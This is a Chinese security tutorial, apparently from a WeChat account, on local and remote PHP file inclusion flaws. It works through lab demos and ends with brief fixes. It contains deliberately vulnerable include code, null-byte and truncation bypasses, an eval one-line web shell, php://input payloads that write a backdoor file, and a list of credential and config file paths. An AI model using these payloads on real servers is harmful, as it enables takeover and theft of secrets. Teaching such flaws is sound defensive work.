文件包含漏洞全解
文件包含漏洞
文件包含漏洞（File Inclusion Vulnerability）是指应用程序中存在的一种安全漏洞，攻击者通过利用该漏洞可以在应用程序中执行任意代码。文件包含漏洞通常出现在动态网页中，攻击者通过在URL中注入恶意代码，使应用程序将恶意代码作为正常代码执行。这种漏洞的危害性很大，攻击者可以利用该漏洞窃取敏感信息、篡改数据、控制服务器等。
这是较为官方的一个解释，其实用我们自己的话解释就是：开发人员在开发程序的时候，每次都需要使用某一个或者是某几个文件中的代码，这样很不方便，为了这个方便性，他会将被包含的文件设置成为一个变量，然后这样的话就可以非常方便的调用这些文件。但是开发人员只考虑到了调用的方便性，没有考虑用户是否也可以调用这些文件，当然也就没有做任何的限制，这就导致了攻击者会去利用这个特征进行一些恶意操作。需要注意的是文件包含本身其实没有漏洞的，这是属于开发人员的疏忽而导致的。
文件包含漏洞的分类：本地包含、远程包含
本地包含
1、新建一个php文件，里面写上简单的代码语句
<?php
$file=$_GET['file'];
include($file);
?>
这段代码的意思是GET传参，赋值给变量file,然后包含这个变量file,而GET传进来的参数必须是我们的WWW目录下有的参数，如果没有则会报错，如下图所示
因为是在本地搭建，那么我们就在www目录下创建1.txt文件，其中写入这个phpinfo代码语句
2、代码如下：
<?php phpinfo();?>
然后进行访问:
我们可以看到文件1.txt中的代码会被当做php文件进行了执行。这就是简单的一个文件包含漏洞。如果在实战中你的信息收集做的足够到位，收集的内容也足够的多，知道他的什么目录下有什么文件，那么我们是否可以读取他的这些文件，我们将1.txt文件复制到phpstudy下的Extensions中，这次我们再进行访问
如图所示，也是可以将其中的代码进行解析（握糙，phpstudy中的内容不保），那么我们是否可以再退一级，读取他的D盘上的内容呢？我们再将1.txt文件复制到D盘下,这时我们就需要退两级，然后访问
注：../是向上退一级
如图所示，，也是可以将其中的代码进行解析的(握草，D盘内容不保)，来点更狠的，那么我们再退一级是否可以访问到C盘上的内容呢？我们再把1.txt文件复制到C盘中，这时我们需要退三级，然后访问
我们会发现报错了，不是因为写的有问题，而是这种写法存在一些问题，可能会导致不可预期的行为，这种写法依赖于当前工作目录，如果工作目录发生变化，可能会导致文件读取失败或读取到错误的文件。因此，建议使用绝对路径。file=C:/1.txt
如图所示，，也是可以将其中的代码进行解析的(握草，C盘内容不保)，当然，有些人直接将phpstudy安装在了C盘，不需要跨盘，直接就可以访问。
看到这里其实你应该思考到了这个漏洞的危害，当我们包含的文件中不是php代码，而是一些内容，那么他将会把其中的内容进行读取。我们创建一个2.txt文件，文件中写入一些内容，然后访问
如图所示，他是将文件中的内容进行了一个读取，这样的话，weindows中或者linux中那些存放敏感文件，以及配置文件的文件是否安全？那肯定是全部泄露。（Windows和Linux中存放敏感文件的目录见文章结尾处）
上述说明的就是一个无限制的本地包含漏洞，如果其中的代码不解析，那么只能进行读取。
假如在真实网站中存在这个本地包含漏洞，你想利用得知道文件的名字以及路径（可以看url中的显示，也可以通过目录扫描得知），否则将无法利用，如果其中没有脚本代码文件，那么你只能进行读取文件，而不能进行解析，此处需要你配合其他漏洞进行利用了，如文件上传漏洞，上传一个对应的脚本文件（一句话木马），然后包含他，用shell管理工具：菜刀或者蚁剑进行连接。他没有其他漏洞，或者你得不到文件名字以及路径，即使有漏洞影响也不大，由此可见，其利用难度是挺高的。
接下来我们看一下有限制的本地包含漏洞，也就是说开发人员知道自己这样调用可能会导致包含漏洞的产生，于是做了一些限制，但是他没有想到的是这些限制可以进行绕过，绕过了就和无限制的本地包含漏洞一样了
将我们的index.php文件中的代码修改为
<?php
$file=$_GET['file'];
include($file.".html");
?>
以上代码的意思是GET传参，赋值给$file,然后会将$file和.html进行连接，然后包含。也就是说用户传进来的变量file的后缀会加上html，比如我们还是包含1.txt文件，那么最后他的后缀就会变为1.txt.html，这样的后缀是以最后一个为准，是.html文件，这样也可以进行一个有效防御，我们来访问一下
如图所示，他会提示我们这个文件不存在，是可以在一定程度上防止文件包含漏洞的产生，那么我们是可以进行绕过的，只用于php版本低于5.3的，高于5.3无法用以下方法绕过，高于5.3版本就可能需要配合别的漏洞进行下一步操作了，懂安全的开发真的很加分。我们将php版本切到5.3以下进行演示
如图所示，在我们增加了%00截断，他也是可以进行一个解析，当然这种方法也是有限制条件的，php版本必须得低于5.3以下，magic_quotes_gpc=off(其处于关闭状态)，当然我们也可以使用长度截断，在1.txt后面一直加......或者是./././等等进行绕过。
如图所示的绕过，这个条件需要满足的是只有php版本低于5.3，magic_quotes_gpc=off（其处于什么状态都是没有影响的）
补充：
使用长度截断Windows系统长度需要高于256位，Linux系统长度要高于4096位
以上所述就是本地包含的两种情况——————有限制的、无限制的。有限制的绕过需要明白其满足条件，而且有限制的话，我们一般情况下是很难去猜到他到底用了什么限制，当然他有可能报错的时候会爆出来是用了什么，如图所示，如果他的回显中没有，其利用难度可想而知。
远程包含
声明：192.168.1.36为受害者电脑IP，192.168.1.41为攻击者电脑IP
远程包含漏洞是有函数进行限制，如果代码函数限制了远程包含，那么就只能是本地包含，而且其中的某些设置也是需要开启的。
如图所示，需要是On才可以进行远程包含，我们为了方便测试，直接把192.168.1.36（受害者电脑）这个参数打开，先来看一下无限制的远程包含漏洞，
受害者www目录下正好有如下代码
<?php
$file=$_GET['file'];
include($file);
?>
这时，攻击者在phpstudy里面的WWW目录创建1.txt文件，然后写上phpinfo代码，然后用受害者IP去远程包含攻击者的1.txt文件（两台电脑在同一个局域网，都是基于phpstudy进行演示）
如图所示，那么如果攻击者在他的1.txt文件写上一句话木马呢，然后用菜刀或者蚁剑去连，是否就可以达到一个远控的目的
一句话木马
<?php @eval($_POST[x])?>
如图所示，连接成功。
有限制的远程包含漏洞
受害者的电脑中写入如下代码
<?php
$file=$_GET['file'];
include($file.".html");
?>
这样的话在我们连接的时候就会出现问题，因为这个file后面会强制加上.html
同样我们进行绕过，这种绕过方式和我们的本地包含漏洞有所不同，可以直接在url中1.txt后面直接加？、%23或者%20，长度截断在此处不适用，%00也可以。
如图所示，可以执行成功，因为1.txt里面是一句话木马，执行不显示，所以我又加了121212这些数字。
以上就是远程包含漏洞的两种方式,远程包含漏洞对php版本有要求，需要5.3以下版本，远程包含漏洞我们其实可以理解为是本地包含漏洞开启了某些配置，所以都是差不多的。
远程包含漏洞还可以结合伪协议去进行利用（伪协议是一种特殊的URL协议，它不是真正的网络协议，而是被用于访问本地文件系统或执行特定的操作。），先来了解一下各种脚本语言支持的伪协议，因为文件包含漏洞的产生和脚本语言没有关系，所以他不止是发生在php脚本语言中，他也有可能在JAVA，curl脚本语言中产生
以下就是各种脚本支持的协议情况
以下是php支持的各种协议
先来搞一个fileter协议
读取文件源码用法
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
以上是一个base64编码，所以还需要进行解码，解码后的内容就是文件的内容
执行php代码用法
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
写入一句话木马用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个是可以实现写入一个后门文件，然后用shell管理工具进行连接。
附：weindows和linux中的敏感文件的位置
windows
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
就详细描述一个伪协议，具体情况请参考
https://www.cnblogs.com/endust/p/11804767.html
总结
以上就是文件包含漏洞所有的内容，通过以上的介绍，我们可以看出文件包含漏洞利用难度，也可以根据他的原理提出修复建议：1、可以限制用户访问文件的权限；2、include函数中的参数用户是否可控，如果可控，则要限制；3、增加过滤，对用户输入的敏感参数进行过滤；4、配置文件中不必要开的参数设置为OFF等等，希望本文能对你有所帮助，星光安全面向基础
欢迎大家关注公众号：星光安全
